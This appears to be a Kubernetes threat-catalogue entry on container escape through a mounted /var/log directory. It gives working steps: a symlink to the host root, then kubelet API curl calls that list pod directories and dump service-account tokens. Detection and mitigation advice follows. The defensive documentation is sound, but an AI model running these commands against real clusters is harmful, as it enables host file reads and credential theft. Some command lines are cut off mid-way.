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Source Destination MITRE
Container Node Escape to Host, T1611

Arbitrary file reads on the host from a node via an exposed /var/log mount.


A pod running as root and with a mount point to the node’s /var/log directory can expose the entire contents of its host filesystem to any user who has access to its logs, enabling an attacker to read arbitrary files on the host node. See Kubernetes Pod Escape Using Log Mounts for a more detailed explanation of the technique.


Execution as root within a container process with the host /var/log/ (or any parent directory) mounted inside the container.

See the example pod spec.


Determine mounted volumes within the container as per VOLUME_DISCOVER If the host /var/log (or any parent directory) is mounted, this attack will be possible. Example output below:

cat /proc/self/mounts

/dev/vda1 on /host/var/log type ext4 (rw,relatime)
# Examine the directory structure of any hostPath mounts to verify it is the log directory
ls -la /host/var/log
total 24
drwxr-xr-x 5 root root 4096 Mar  2 09:49 .
drwxr-xr-x 3 root root 4096 Mar  8 10:31 ..
-rw-r--r-- 1 root root  775 Mar  4 18:13 alternatives.log
drwxr-xr-x 2 root root 4096 Mar  8 10:46 containers
drwxr-xr-x 3 root root 4096 Mar  2 09:49 kubernetes
drwxr-xr-x 8 root root 4096 Mar  8 10:31 pods

ls -la /host/var/log/pods
total 32
drwxr-xr-x  8 root root 4096 Mar  8 10:31 .
drwxr-xr-x  5 root root 4096 Mar  2 09:49 ..
drwxr-xr-x  3 root root 4096 Mar  8 10:31 default_log-escape-pod_f262a349-c3bb-4561-9496-c3182f8d1256


Setup the symlink:

ln -s / /host/var/log/root_link

Call the kubelet API to read the “logs” and extract pod service account tokens:

$ KUBE_TOKEN=$(cat /var/run/secrets/
$ NODEIP=$(ip route | awk '/^default/{print $3}')
# On Amazon EKS, if you have access to the IMDS: NODEIP=$(curl

# Find all the pods
$ curl -sk -H "Authorization: Bearer $KUBE_TOKEN" https://$NODEIP:10250/logs/root_link/var/lib/kubelet/pods/

# <pre>
# <a href="10b90d62-6b16-4aa7-9e72-75f18dcca5a8/">10b90d62-6b16-4aa7-9e72-75f18dcca5a8/</a>
# <a href="2254e754-fbe0-48c4-b0c8-236a232fa510/">2254e754-fbe0-48c4-b0c8-236a232fa510/</a>
# <a href="324fe80e-e10e-462b-b046-be4c15e91b4e/">324fe80e-e10e-462b-b046-be4c15e91b4e/</a>
# <a href="5a9fc508-8410-444a-bf63-9f11e5979bee/">5a9fc508-8410-444a-bf63-9f11e5979bee/</a>
# <a href="a1176593-34a2-43e6-8bdd-ed10fa148fe7/">a1176593-34a2-43e6-8bdd-ed10fa148fe7/</a>
# <a href="a83a37cf-01ea-4b4c-ad19-f67e374cf255/">a83a37cf-01ea-4b4c-ad19-f67e374cf255/</a>
# <a href="dfbf38ad-2e92-44e0-b05b-8859350b6ea5/">dfbf38ad-2e92-44e0-b05b-8859350b6ea5/</a>
# </pre>

# Dump the token
$ curl -sk -H "Authorization: Bearer $KUBE_TOKEN" https://$NODEIP:10250/logs/root_link/var/lib/kubelet/pods/10b90d62-6b16-4aa7-9e72-75f18dcca5a8/volumes/

# eyJhbGciOiJSUzI1NiIsImtpZCI6I****REDACTED****

Cleanup the symlink when exploitation is complete:

rm /host/var/log/root_link

NOTE: the above assumes the serviceaccount has access to read logs. If not replace the token for any user token which should normally have logs access.



  • Monitor for suspicious symlink creation in the /var/log directory.

Implement security policies

Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath mount of /var/log or other sensitive locations.

Least Privilege

Avoid running containers as the root user. Enforce running as an unprivileged user account using the runAsNonRoot setting inside securityContext (or explicitly setting runAsUser to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false is set in securityContext to prevent a container running as an unprivileged user from being able to escalate to running as the root user.